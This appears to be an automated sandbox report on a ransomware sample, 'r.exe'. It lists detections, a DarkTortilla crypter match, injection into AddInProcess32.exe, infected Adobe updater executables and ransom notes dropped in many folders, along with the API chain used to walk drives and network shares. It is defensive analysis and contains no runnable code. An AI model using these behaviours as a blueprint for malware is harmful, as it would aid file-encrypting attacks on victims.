                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_051729180_2_05172918
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_08078AE00_2_08078AE0
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_08078AD00_2_08078AD0
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_081B0C200_2_081B0C20
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_081B85580_2_081B8558
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_081B25880_2_081B2588
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_081E79B00_2_081E79B0
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_081E30980_2_081E3098
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_081E30A80_2_081E30A8
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_0829CC600_2_0829CC60
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_0829EC780_2_0829EC78
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_082955C80_2_082955C8
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_081E799F0_2_081E799F
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_004025F01_2_004025F0
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00406B301_2_00406B30
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_004010001_2_00401000
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_004020D01_2_004020D0
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00402C901_2_00402C90
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_004065601_2_00406560
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_0041191D1_2_0041191D
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_004012A01_2_004012A0
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00404B601_2_00404B60
                      Source: r.exe, 00000000.00000002.487039298.000000000429D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameBudsProApp.dll6 vs r.exe
                      Source: r.exe, 00000000.00000002.487039298.0000000004336000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameBudsProApp.dll6 vs r.exe
                      Source: r.exe, 00000000.00000002.495810810.0000000007F30000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameBudsProApp.dll6 vs r.exe
                      Source: r.exe, 00000000.00000002.500376817.0000000008530000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameRP8SH.dll, vs r.exe
                      Source: r.exe, 00000000.00000002.476106134.0000000001440000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs r.exe
                      Source: r.exe, 00000000.00000000.366135068.00000000001CE000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenamem02.exe@ vs r.exe
                      Source: r.exeBinary or memory string: OriginalFilenamem02.exe@ vs r.exe
                      Source: r.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                      Source: r.exeReversingLabs: Detection: 26%
                      Source: r.exeVirustotal: Detection: 34%
                      Source: r.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                      Source: C:\Users\user\Desktop\r.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                      Source: unknownProcess created: C:\Users\user\Desktop\r.exe C:\Users\user\Desktop\r.exe
                      Source: C:\Users\user\Desktop\r.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                      Source: C:\Users\user\Desktop\r.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeJump to behavior
                      Source: C:\Users\user\Desktop\r.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32Jump to behavior
                      Source: C:\Users\user\Desktop\r.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\r.exe.logJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\IdentityCRL\production\temp\ReadMe.txtJump to behavior
                      Source: classification engineClassification label: mal100.rans.spre.evad.winEXE@3/40@0/0
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00406B30 GetDriveTypeW,FindFirstVolumeW,GetVolumePathNamesForVolumeNameW,lstrlenW,SetVolumeMountPointWStub,FindNextVolumeW,FindVolumeClose,GetTickCount,Sleep,GetTickCount,Sleep,wsprintfA,CryptAcquireContextA,CryptGenRandom,CreateSemaphoreW,CreateSemaphoreW,CreateSemaphoreW,InitializeCriticalSection,CreateThread,SetThreadPriority,SetThreadPriority,CreateThread,SetThreadPriority,GetLogicalDrives,WaitForMultipleObjects,CloseHandle,WaitForMultipleObjects,CloseHandle,wsprintfW,GetDriveTypeW,WNetGetConnectionW,CreateThread,SetThreadPriority,WaitForMultipleObjects,WaitForMultipleObjects,CloseHandle,Sleep,Sleep,DeleteCriticalSection,CloseHandle,CloseHandle,CryptReleaseContext,CoCreateInstance,CoCreateInstance,GetModuleHandleA,GetProcAddress,VariantClear,GetCurrentProcess,VariantInit,VariantClear,CoCreateInstance,CoSetProxyBlanket,GetProcessHeap,lstrlenW,GetProcessHeap,HeapAlloc,lstrlenW,wnsprintfW,GetProcessHeap,HeapFree,VariantClear,VariantClear,1_2_00406B30
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile read: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\abcpy.iniJump to behavior
                      Source: r.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                      Source: C:\Users\user\Desktop\r.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
                      Source: r.exe, 00000000.00000003.372465838.00000000060ED000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ing.slnt
                      Source: r.exe, 00000000.00000003.372312848.00000000060F0000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.372387095.00000000060F1000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.372324503.00000000060F1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rtising.slnt
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\abcpy.iniJump to behavior
                      Source: C:\Users\user\Desktop\r.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                      Source: r.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
                      Source: r.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                      Source: Binary string: unknowndll.pdb source: AddInProcess32.exe, 00000001.00000002.637890689.000000000425D000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: Reflow.pdbRR source: Data1.cab.1.dr
                      Source: Binary string: shfolder.pdbL source: AddInProcess32.exe, 00000001.00000002.637890689.000000000429F000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: PDDom.pdbiiH source: Data1.cab.1.dr
                      Source: Binary string: SaveAsRTF.pdbUU source: Data1.cab.1.dr
                      Source: Binary string: C:\O\W\B\130707\ARM\BuildResults\bin\Win32\Release\armsvc.pdb A source: Data1.cab.1.dr
                      Source: Binary string: Accessibility.pdbpp source: Data1.cab.1.dr
                      Source: Binary string: Accessibility.pdb source: Data1.cab.1.dr
                      Source: Binary string: D:\garuda_1890\esg\lilo\plugins\AdobeHunspellPlugin\6.1\binaries\VC.Net2010\Win32\Release\AdobeHunspellPlugin.pdb source: Data1.cab.1.dr
                      Source: Binary string: SaveAsRTF.pdb source: Data1.cab.1.dr
                      Source: Binary string: unknownsys.pdb source: AddInProcess32.exe, 00000001.00000002.637890689.000000000425D000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: shfolder.pdb source: AddInProcess32.exe, 00000001.00000002.637890689.000000000429F000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: api-ms-win-base-util-l1-1-0.pdb source: AddInProcess32.exe, 00000001.00000002.637890689.00000000042A4000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: Reflow.pdb source: Data1.cab.1.dr
                      Source: Binary string: mlang.pdb source: AddInProcess32.exe, 00000001.00000002.637890689.00000000042A4000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: mlang.pdbH source: AddInProcess32.exe, 00000001.00000002.637890689.00000000042A4000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: C:\O\W\B\130707\ARM\BuildResults\bin\Win32\Release\AdobeARM.pdb source: Data1.cab.1.dr
                      Source: Binary string: C:\O\W\B\130707\ARM\BuildResults\bin\Win32\Release\AdobeARMHelper.pdb source: AddInProcess32.exe, 00000001.00000003.497375654.000000000397D000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: AddInProcess32.exe, 00000001.00000002.637890689.00000000042A4000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: PDDom.pdb source: Data1.cab.1.dr
                      Source: Binary string: C:\O\W\B\130707\ARM\BuildResults\bin\Win32\Release\armsvc.pdb source: Data1.cab.1.dr
                      Source: Binary string: MakeAccessible.pdb source: Data1.cab.1.dr

                      Data Obfuscation

                      barindex
                      Yara detected DarkTortilla Crypter
                      Source: Yara matchFile source: 0.2.r.exe.4336eb0.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.r.exe.4336eb0.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.r.exe.7f30000.6.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.r.exe.7f30000.6.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.r.exe.42e6e90.3.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.r.exe.42e6e90.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.r.exe.42bee70.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000000.00000002.487039298.000000000429D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.487039298.0000000004336000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.495810810.0000000007F30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.478036079.0000000003171000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: r.exe PID: 5196, type: MEMORYSTR
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_05170F60 push 00000005h; ret 0_2_05170F76
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_080729CD push ebp; ret 0_2_080729CE
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_081EEE50 pushad ; ret 0_2_081EEE63
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_081EEE90 push ecx; ret 0_2_081EEEA2
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_081EDAAE push ss; retf 0_2_081EDAB4
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_081EE15D push ebx; retf 0_2_081EE15E
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_081E0F66 pushad ; iretd 0_2_081E0FDD
                      Source: initial sampleStatic PE information: section name: .text entropy: 6.949507146364391

                      Persistence and Installation Behavior

                      barindex
                      Infects executable files (exe, dll, sys, html)
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSystem file written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSystem file written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSystem file written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exeJump to behavior
                      Drops executable to a common third party application directory
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Adobe\ARM\Reader_19.012.20034\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: M:\Recovery\WindowsRE\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: M:\Recovery\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Adobe\ARM\S\436\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: M:\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Adobe\ARM\S\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Adobe\ARM\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Adobe\Setup\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Adobe\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\dbg\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\AppV\Setup\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\AppV\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\DSS\MachineKeys\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\DSS\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\Keys\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\PCPKSP\WindowsAIK\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\PCPKSP\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\RSA\MachineKeys\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\RSA\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\SystemKeys\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Task\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\DeviceSync\ReadMe.txtJump to behavior
